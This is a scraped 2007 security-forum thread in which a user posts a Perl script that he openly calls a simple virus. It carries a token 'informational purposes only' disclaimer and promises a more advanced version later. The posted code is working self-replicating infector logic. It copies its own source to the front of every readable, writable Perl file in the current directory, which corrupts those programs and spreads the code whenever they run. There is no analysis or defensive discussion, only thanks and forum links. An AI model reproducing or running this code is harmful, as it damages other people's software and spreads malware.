![]() | |
| |||||||
| Home | Register | Projects | Blogs | FAQ | Calendar | Search | Today's Posts | Mark Forums Read | Free Directory | Free DNSReport | Tags |
| Notices |
| Programming Discuss about the various programming languages (HTLM/PHP/ASP/C#/C++/Java etc..) |
virusThis is a discussion on "virus" within the Programming part of the Computer Security: Discussions section; A litle something I did with perl Code: #!/usr/bin/perl sub header () { print q { *************************************** Artificial Life * I am not responsible of how you use * this program.The program it is coded * for informational purposes only ! * Simple virus that can ... |
![]() |
| | LinkBack (3) | Thread Tools | Display Modes |
| |||
| A litle something I did with perl Code: #!/usr/bin/perl
sub header ()
{ print q {
***************************************
Artificial Life *
I am not responsible of how you use *
this program.The program it is coded *
for informational purposes only ! *
Simple virus that can be tested *
in a single directory.I am going to *
publish a advanced vir but later.*
***************************************
}
}
sub routine()
{ header();
print q {
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
coded by fl0 fl0w &
flo_flow_supremacy[dot]com &
Caracteristics -it finds all perl &
programs and modifies the execution &
by attaching itself to the actual &
source. &
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
};
exit();
}
open(file,$0);
@virus=<file>;
close(file);
foreach $filename (<*>)
{ if((-r $filename) && (-w $filename) && (-f $filename) )
{ open(file,"$filename");
@aux=<file>;
close(file);
if((@aux[0]=~"perl") or (@aux[1]=~"perl"))
{
open(file,">$filename");
print file @virus;
print file @aux;
close(file);
}
} Last edited by fl0 fl0w; 28-12-07 at 13:28. |
| The Following User Says Thank You to fl0 fl0w For This Useful Post: | ||
class101 (28-12-07) | ||
| Sponsor | ||
| ||
| |
![]() |
| | |
| virus | |
LinkBacks (?)
LinkBack to this Thread: http://heapoverflow.com/f0rums/programming/2710-virus.html | ||||
| Posted By | For | Type | Date | |
| Virus | This thread | Refback | 28-12-07 14:56 | |
| Security | This thread | Refback | 28-12-07 14:56 | |
| Perl | This thread | Refback | 28-12-07 14:54 | |
| Thread Tools | |
| Display Modes | |
| |
Similar Threads | ||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| Evil Shell Backdoor 1.0.5 | coder192 | Applications, Tools & Papers | 20 | 08-12-06 08:43 |